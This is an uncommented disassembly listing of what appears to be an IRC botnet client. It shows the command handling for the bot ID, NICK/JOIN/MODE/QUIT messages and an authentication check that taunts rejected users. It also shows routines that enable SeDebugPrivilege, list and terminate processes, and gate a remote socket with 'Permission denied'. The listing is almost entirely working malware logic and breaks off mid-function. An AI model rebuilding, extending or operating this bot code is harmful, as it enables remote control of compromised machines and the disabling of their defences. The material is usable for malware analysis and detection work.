push 32h nop call near ptr 26207A4h jmp short loc_4147F1 ; --------------------------------------------------------------------------- loc_414807: ; CODE XREF: sub_40EE72+597Dj nop call near ptr 26702AAh push eax push offset unk_42FDF0 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_414818: ; CODE XREF: sub_40EE72+1620j ; sub_40EE72+1635j cmp [ebp+var_8], ebx jnz short loc_414837 push ebx push [ebp+var_4] push offset dword_42FDC8 push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_414837: ; CODE XREF: sub_40EE72+59A9j push [ebp+arg_4] call dword_43AE30 call dword_43ACF8 call sub_40AC42 push ebx nop call near ptr 77E75CB5h loc_414852: ; CODE XREF: sub_40EE72+15F6j ; sub_40EE72+160Bj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push eax call sub_40B8D8 pop ecx pop ecx push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_42FDA0 jmp loc_4145BD ; --------------------------------------------------------------------------- loc_414880: ; CODE XREF: sub_40EE72+14BCj ; sub_40EE72+14D1j push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BB8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_42FD78 jmp loc_4145BD ; --------------------------------------------------------------------------- loc_4148B2: ; CODE XREF: sub_40EE72+1492j ; sub_40EE72+14A7j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40C00D jmp loc_40F236 ; --------------------------------------------------------------------------- loc_4148CB: ; CODE XREF: sub_40EE72+1468j ; sub_40EE72+147Dj cmp [ebp+var_C], ebx mov [ebp+var_388], bl jz short loc_41490A mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_41490A push esi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_41490A push eax push offset aS_1 ; "%s" lea eax, [ebp+var_388] push 80h push eax call sub_41782A add esp, 10h loc_41490A: ; CODE XREF: sub_40EE72+5A62j ; sub_40EE72+5A6Dj ... push [ebp+var_8C] lea eax, [ebp+var_408] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_40C], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax mov eax, [ebp+var_8] mov [ebp+var_300], eax lea eax, [ebp+var_2DC] push offset dword_42FD50 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Dh push eax call sub_416D5C add esp, 14h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_40C] push ebx push eax push offset sub_40C07F push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4149AD loc_414997: ; CODE XREF: sub_40EE72+5B39j cmp [ebp+var_2FC], ebx jnz loc_40F239 push 32h nop call near ptr 26207A4h jmp short loc_414997 ; --------------------------------------------------------------------------- loc_4149AD: ; CODE XREF: sub_40EE72+5B23j call near ptr 26702AAh nop push eax push offset dword_42FD08 jmp loc_40F422 ; --------------------------------------------------------------------------- loc_4149BE: ; CODE XREF: sub_40EE72+143Ej ; sub_40EE72+1453j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40BEF5 push offset dword_42FCE0 call sub_40BF6D jmp loc_41452A ; --------------------------------------------------------------------------- loc_4149DE: ; CODE XREF: sub_40EE72+1414j ; sub_40EE72+1429j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax jz short loc_414A38 push offset dword_42FCDC push esi call sub_4176D0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_46C], eax jmp short loc_414A3E ; --------------------------------------------------------------------------- loc_414A38: ; CODE XREF: sub_40EE72+5BAAj mov [ebp+var_46C], ebx loc_414A3E: ; CODE XREF: sub_40EE72+5BC4j lea eax, [ebp+var_2DC] push offset dword_42FCB0 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 20h push eax call sub_416D5C add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset byte_416DC7 push ebx push ebx call near ptr 26A0AA3h nop mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414AA8 loc_414A96: ; CODE XREF: sub_40EE72+5C34j cmp [ebp+var_460], ebx jnz short loc_414AC3 push 32h nop call near ptr 26207A4h jmp short loc_414A96 ; --------------------------------------------------------------------------- loc_414AA8: ; CODE XREF: sub_40EE72+5C22j call near ptr 26702AAh nop push eax push offset dword_42FC68 loc_414AB4: ; CODE XREF: sub_40EE72+489Dj ; sub_40EE72+49B9j lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_414AC3: ; CODE XREF: sub_40EE72+4527j ; sub_40EE72+453Fj ... lea eax, [ebp+var_2DC] push eax jmp loc_410654 ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: sub_40EE72+1398j ; sub_40EE72+13ADj push offset aBotid ; "botid" push offset dword_42FC40 jmp short loc_414AED ; --------------------------------------------------------------------------- loc_414ADB: ; CODE XREF: sub_40EE72+136Ej ; sub_40EE72+1383j push dword_4CD5F0 call sub_40B721 pop ecx push eax push offset dword_42FC04 loc_414AED: ; CODE XREF: sub_40EE72+5C67j lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_4110FD ; --------------------------------------------------------------------------- loc_414B1A: ; CODE XREF: sub_40EE72+1344j ; sub_40EE72+1359j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414B4C cmp [ebp+var_C], ebx jz short loc_414B5B push esi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_414B5B push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch jmp short loc_414B5B ; --------------------------------------------------------------------------- loc_414B4C: ; CODE XREF: sub_40EE72+5CB1j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40D633 pop ecx pop ecx loc_414B5B: ; CODE XREF: sub_40EE72+5CB6j ; sub_40EE72+5CC5j ... push 0FFFFFFFEh jmp loc_40F23B ; --------------------------------------------------------------------------- loc_414B62: ; CODE XREF: sub_40EE72+131Aj ; sub_40EE72+132Fj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_42FBB4 call sub_40BF6D add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414B84: ; CODE XREF: sub_40EE72+12F0j ; sub_40EE72+1305j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_42FB74 call sub_40BF6D add esp, 0Ch xor eax, eax jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414BA5: ; CODE XREF: sub_40EE72+12C6j ; sub_40EE72+12DBj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_407110 jmp loc_412FF4 ; --------------------------------------------------------------------------- loc_414BBB: ; CODE XREF: sub_40EE72+1221j ; sub_40EE72+1236j push [ebp+esi+var_90] push 1Fh push offset dword_42FB64 push offset dword_42FB58 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_414BD3: ; CODE XREF: sub_40EE72+11F7j ; sub_40EE72+120Cj push [ebp+esi+var_90] push 1Ch push offset dword_42FB4C push offset dword_42FB3C jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_414BEB: ; CODE XREF: sub_40EE72+1022j ; sub_40EE72+1037j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_414C0A push edi call sub_41781F test eax, eax pop ecx jz short loc_414C0A push edi call sub_41781F pop ecx jmp short loc_414C0F ; --------------------------------------------------------------------------- loc_414C0A: ; CODE XREF: sub_40EE72+5D82j ; sub_40EE72+5D8Dj mov eax, dword_42F5A8 loc_414C0F: ; CODE XREF: sub_40EE72+5D96j mov esi, [ebp+esi+var_8C] mov [ebp+var_478], eax cmp esi, ebx jz short loc_414C34 push esi loc_414C21: ; CODE XREF: sub_40EE72+5DD1j lea eax, [ebp+var_488] push 10h push eax call sub_41782A add esp, 0Ch jmp short loc_414C4B ; --------------------------------------------------------------------------- loc_414C34: ; CODE XREF: sub_40EE72+5DACj cmp [ebp+var_9C7], bl jz short loc_414C45 lea eax, [ebp+var_D8] push eax jmp short loc_414C21 ; --------------------------------------------------------------------------- loc_414C45: ; CODE XREF: sub_40EE72+5DC8j mov [ebp+var_488], bl loc_414C4B: ; CODE XREF: sub_40EE72+5DC0j mov eax, [ebp+var_4] push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_46C], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_468], eax lea eax, [ebp+var_508] push eax mov [ebp+var_50C], esi call sub_41782A add esp, 0Ch push [ebp+var_478] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42B75C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 11h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_474], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_50C] push ebx push eax push offset sub_407FEA push ebx push ebx call near ptr 26A0AA3h nop mov ecx, [ebp+var_474] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414CFC loc_414CE6: ; CODE XREF: sub_40EE72+5E88j cmp [ebp+var_464], ebx jnz loc_40F239 push 32h nop call near ptr 26207A4h jmp short loc_414CE6 ; --------------------------------------------------------------------------- loc_414CFC: ; CODE XREF: sub_40EE72+5E72j nop call near ptr 26702AAh push eax push offset unk_42FAF4 jmp loc_40F422 ; --------------------------------------------------------------------------- loc_414D0D: ; CODE XREF: sub_40EE72+FCEj ; sub_40EE72+FE3j ... push edi push offset aSecure ; "secure" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414D35 push edi push offset aSec ; "sec" call sub_4176D0 pop ecx mov [ebp+var_46C], ebx test eax, eax pop ecx jnz short loc_414D3F loc_414D35: ; CODE XREF: sub_40EE72+5EAAj mov [ebp+var_46C], 1 loc_414D3F: ; CODE XREF: sub_40EE72+5EC1j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_46C], ebx mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] mov [ebp+var_464], eax mov eax, offset aSecuring ; "Securing" jnz short loc_414D86 mov eax, offset aUnsecuring ; "Unsecuring" loc_414D86: ; CODE XREF: sub_40EE72+5F0Dj push eax push offset dword_42FAA8 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Ah push eax call sub_416D5C add esp, 1Ch mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_415F28 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414DF6 loc_414DE4: ; CODE XREF: sub_40EE72+5F82j cmp [ebp+var_460], ebx jnz short loc_414E11 push 32h call near ptr 26207A4h nop jmp short loc_414DE4 ; --------------------------------------------------------------------------- loc_414DF6: ; CODE XREF: sub_40EE72+5F70j call near ptr 26702AAh nop push eax push offset unk_42FA5C loc_414E02: ; CODE XREF: sub_40EE72+3DA5j ; sub_40EE72+4AC1j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_414E11: ; CODE XREF: sub_40EE72+2EB3j ; sub_40EE72+3959j ... lea eax, [ebp+var_2DC] push eax call sub_40BF6D jmp loc_40F428 ; --------------------------------------------------------------------------- loc_414E22: ; CODE XREF: sub_40EE72+FA4j ; sub_40EE72+FB9j push offset aAbosal7Tool ; "ABOSAL7 tool" push offset dword_42FA3C jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_414E31: ; CODE XREF: sub_40EE72+F7Aj ; sub_40EE72+F8Fj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414E91 push esi call sub_41781F cmp eax, ebx pop ecx jl short loc_414E86 cmp eax, 2 jge short loc_414E86 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_414E7B lea eax, [esi+1] push eax lea eax, [ebp+var_2DC] push offset dword_432E04 push eax call sub_4172B0 add esp, 0Ch mov [esi], bl jmp loc_410E57 ; --------------------------------------------------------------------------- loc_414E7B: ; CODE XREF: sub_40EE72+5FE8j push eax push offset dword_42FA00 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414E86: ; CODE XREF: sub_40EE72+5FD3j ; sub_40EE72+5FD8j push eax push offset dword_42F9C4 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414E91: ; CODE XREF: sub_40EE72+5FC8j mov edi, [ebp+arg_18] xor esi, esi loc_414E96: ; CODE XREF: sub_40EE72+6040j push [ebp+var_94] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414EB9 inc esi add edi, 80h cmp esi, 2 jl short loc_414E96 jmp loc_410E57 ; --------------------------------------------------------------------------- loc_414EB9: ; CODE XREF: sub_40EE72+6034j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax push offset dword_432E04 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414ED3: ; CODE XREF: sub_40EE72+F50j ; sub_40EE72+F65j push [ebp+var_90] push offset dword_432D74 call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414F47 call sub_416F25 push ebx nop call near ptr 77E75CB5h loc_414EF5: ; CODE XREF: sub_40EE72+F26j ; sub_40EE72+F3Bj push [ebp+esi+var_90] xor eax, eax cmp [ebp+var_9B8], bl setnz al push eax lea eax, [ebp+var_928] push dword_42F5CC push eax call sub_415D01 add esp, 10h lea eax, [ebp+var_928] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch lea eax, [ebp+var_928] push eax push offset dword_42F990 loc_414F40: ; CODE XREF: sub_40EE72+4344j ; sub_40EE72+49D7j ... call sub_40BFE1 pop ecx loc_414F46: ; CODE XREF: sub_40EE72+17E7j pop ecx loc_414F47: ; CODE XREF: sub_40EE72+65Fj ; sub_40EE72+66Bj ... mov eax, [ebp+arg_24] jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414F4F: ; CODE XREF: sub_40EE72+B28j ; sub_40EE72+B3Bj mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], esi jz loc_40F239 cmp [ebp+var_AC], ebx jnz loc_40F239 push offset asc_432E80 ; "!" push [ebp+var_94] call sub_418B6E mov esi, eax push offset dword_436EF4 push ebx inc esi call sub_418B6E push offset asc_42F98C ; "~" push eax call sub_418B6E push [ebp+arg_0] mov edi, eax push offset aCool ; "cool" call sub_4176D0 add esp, 20h test eax, eax jz short loc_414FEE lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D633 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push esi push offset dword_42F904 jmp loc_40F813 ; --------------------------------------------------------------------------- loc_414FEE: ; CODE XREF: sub_40EE72+6138j mov [ebp+arg_24], offset off_42F6C4 loc_414FF5: ; CODE XREF: sub_40EE72+619Fj mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_4170B5 pop ecx test eax, eax pop ecx jnz short loc_415055 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_42F6C8 jb short loc_414FF5 lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D633 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push esi push offset dword_42F8C8 jmp loc_40F813 ; --------------------------------------------------------------------------- loc_415055: ; CODE XREF: sub_40EE72+6192j mov edi, [ebp+arg_18] xor esi, esi loc_41505A: ; CODE XREF: sub_40EE72+6212j cmp [ebp+arg_0], ebx jz loc_40F239 cmp [edi], bl jnz short loc_41507A push [ebp+arg_0] push offset aCool ; "cool" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_41508B loc_41507A: ; CODE XREF: sub_40EE72+61F3j inc esi add edi, 80h cmp esi, 2 jl short loc_41505A jmp loc_40F239 ; --------------------------------------------------------------------------- loc_41508B: ; CODE XREF: sub_40EE72+6206j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_AA8] push 7Fh push eax push esi call sub_418C10 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4150C2 push ebx push [ebp+var_4] push offset dword_42F89C push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4150C2: ; CODE XREF: sub_40EE72+6234j lea eax, [ebp+var_D8] push eax push offset dword_42F86C jmp loc_40F422 ; --------------------------------------------------------------------------- loc_4150D3: ; CODE XREF: sub_40EE72+20Ej ; sub_40EE72+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push offset aXi ; "+xi" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h mov dword_4CD76C, edi jmp loc_40F10F sub_40EE72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41511F proc near ; CODE XREF: sub_409037+45p ; sub_409037+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 27A0B7Bh push eax call dword_43AD7C test eax, eax jnz short loc_41513E leave retn ; --------------------------------------------------------------------------- loc_41513E: ; CODE XREF: sub_41511F+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_43AD54 test eax, eax jz short loc_41517C cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_415165 or [ebp+var_8], 2 jmp short loc_415169 ; --------------------------------------------------------------------------- loc_415165: ; CODE XREF: sub_41511F+3Ej and [ebp+var_8], 0FFFFFFFDh loc_415169: ; CODE XREF: sub_41511F+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_43AE04 mov esi, eax loc_41517C: ; CODE XREF: sub_41511F+32j push [ebp+var_4] call near ptr 265089Dh nop mov eax, esi pop esi leave retn sub_41511F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41518A proc near ; CODE XREF: sub_40EE72+4B66p ; sub_41533B+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_43ADB8, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_415334 cmp dword_43AD9C, ebx jz loc_415334 cmp dword_43ACB8, ebx jz loc_415334 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx push ebx push 0Fh call dword_43ADB8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_415327 lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call dword_43AD9C mov esi, dword_424078 test eax, eax jz loc_415322 loc_41522D: ; CODE XREF: sub_41518A+BEj ; sub_41518A+CCj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_43ACB8 test eax, eax jz loc_415322 cmp [ebp+arg_10], ebx jnz short loc_41522D cmp [ebp+arg_C], ebx jnz loc_4152DA cmp [ebp+arg_4], ebx jz short loc_41522D push [ebp+var_124] push 8 call dword_43ADB8 cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_415297 lea eax, [ebp+var_350] push eax push edi call dword_43AC64 push [ebp+var_124] test eax, eax jz short loc_41529D lea eax, [ebp+var_230] jmp short loc_4152A3 ; --------------------------------------------------------------------------- loc_415297: ; CODE XREF: sub_41518A+EBj push [ebp+var_124] loc_41529D: ; CODE XREF: sub_41518A+103j lea eax, [ebp+var_108] loc_4152A3: ; CODE XREF: sub_41518A+10Bj push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h push edi call esi jmp loc_41522D ; --------------------------------------------------------------------------- loc_4152DA: ; CODE XREF: sub_41518A+C3j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_41522D push [ebp+var_124] push ebx push 1F0FFFh nop call near ptr 274066Ch push [ebp+var_4] mov edi, eax call esi push ebx push edi call near ptr 2800C91h nop test eax, eax jnz short loc_41531D push edi call esi jmp short loc_415334 ; --------------------------------------------------------------------------- loc_41531D: ; CODE XREF: sub_41518A+18Cj push 1 pop eax jmp short loc_415336 ; --------------------------------------------------------------------------- loc_415322: ; CODE XREF: sub_41518A+9Dj ; sub_41518A+B5j push [ebp+var_4] call esi loc_415327: ; CODE XREF: sub_41518A+75j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx loc_415334: ; CODE XREF: sub_41518A+3Aj ; sub_41518A+46j ... xor eax, eax loc_415336: ; CODE XREF: sub_41518A+196j pop edi pop esi pop ebx leave retn sub_41518A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41533B proc near ; DATA XREF: sub_40EE72+595Co var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_432F04 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_4172B0 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41539A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D679 add esp, 14h loc_41539A: ; CODE XREF: sub_41533B+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_41518A add esp, 18h test eax, eax jnz short loc_4153C2 push offset unk_432ECC jmp short loc_4153C7 ; --------------------------------------------------------------------------- loc_4153C2: ; CODE XREF: sub_41533B+7Ej push offset unk_432E94 loc_4153C7: ; CODE XREF: sub_41533B+85j lea eax, [ebp+var_298] push eax call sub_4172B0 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4153FA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D679 add esp, 14h loc_4153FA: ; CODE XREF: sub_41533B+9Dj lea eax, [ebp+var_298] push eax call sub_40BF6D push [ebp+var_14] call sub_417078 pop ecx pop ecx push esi nop call near ptr 261095Eh pop edi pop esi sub_41533B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415419 proc near ; CODE XREF: sub_40EE72+4B08p ; sub_416E97+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 274066Ch mov esi, eax test esi, esi jz short loc_41544B push 0 push esi nop call near ptr 2800C91h test eax, eax jnz short loc_41544B push esi xor edi, edi nop call near ptr 265089Dh loc_41544B: ; CODE XREF: sub_415419+1Aj ; sub_415419+27j mov eax, edi pop edi pop esi retn sub_415419 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415450 proc near ; CODE XREF: sub_4030D1+Ap ; ___:0040369Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_41730C mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4246A0 call sub_417DC4 sub esi, eax mov eax, esi pop esi leave retn sub_415450 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_4407FC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_43AD80 test eax, eax jnz short loc_415504 push dword ptr [esi] call dword_43AE30 push dword ptr [ebp+8] call sub_417078 pop ecx push edi call near ptr 261095Eh nop loc_415504: ; CODE XREF: ___:004154EAj push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_43ADB0 lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_415685 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_415685 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_415685 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_43ACF4 test eax, eax jz short loc_41557D call dword_43AD2C push eax push offset dword_432FF8 call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 0Ch push edi nop call near ptr 261095Eh loc_41557D: ; CODE XREF: ___:00415558j push 2 lea eax, [ebp-18h] push 4 push eax call dword_43AD50 cmp eax, edi jnz short loc_4155A7 push dword ptr [ebp-18h] call dword_43AE24 push eax lea eax, [ebp-0B0h] push eax call sub_4172B0 jmp short loc_4155B5 ; --------------------------------------------------------------------------- loc_4155A7: ; CODE XREF: ___:0041558Dj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_4179C0 loc_4155B5: ; CODE XREF: ___:004155A5j pop ecx pop ecx push edi push ebx push offset byte_436EDC push dword ptr [esi] call dword_43ADE8 cmp dword_4CD77C, edi jnz short loc_415617 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_4156DF add esp, 10h test eax, eax jnz short loc_415617 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] call dword_43AE30 push dword ptr [ebp+8] call sub_417078 pop ecx push edi nop call near ptr 261095Eh loc_415617: ; CODE XREF: ___:004155CCj ; ___:004155EDj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset dword_432FAC call sub_40BFE1 push dword ptr [ebp+8] call sub_4165C6 add esp, 10h test eax, eax jnz short loc_41565E call near ptr 26702AAh nop push eax push offset dword_432F70 call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 0Ch push ebx call near ptr 261095Eh nop loc_41565E: ; CODE XREF: ___:00415639j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset dword_432F38 call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 10h push edi nop call near ptr 261095Eh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415685 proc near ; CODE XREF: ___:0041551Ap ; ___:00415527p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_43ADB0 cmp eax, 1 jnz short loc_4156D5 mov esi, [ebp+arg_4] loc_4156A3: ; CODE XREF: sub_415685+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] 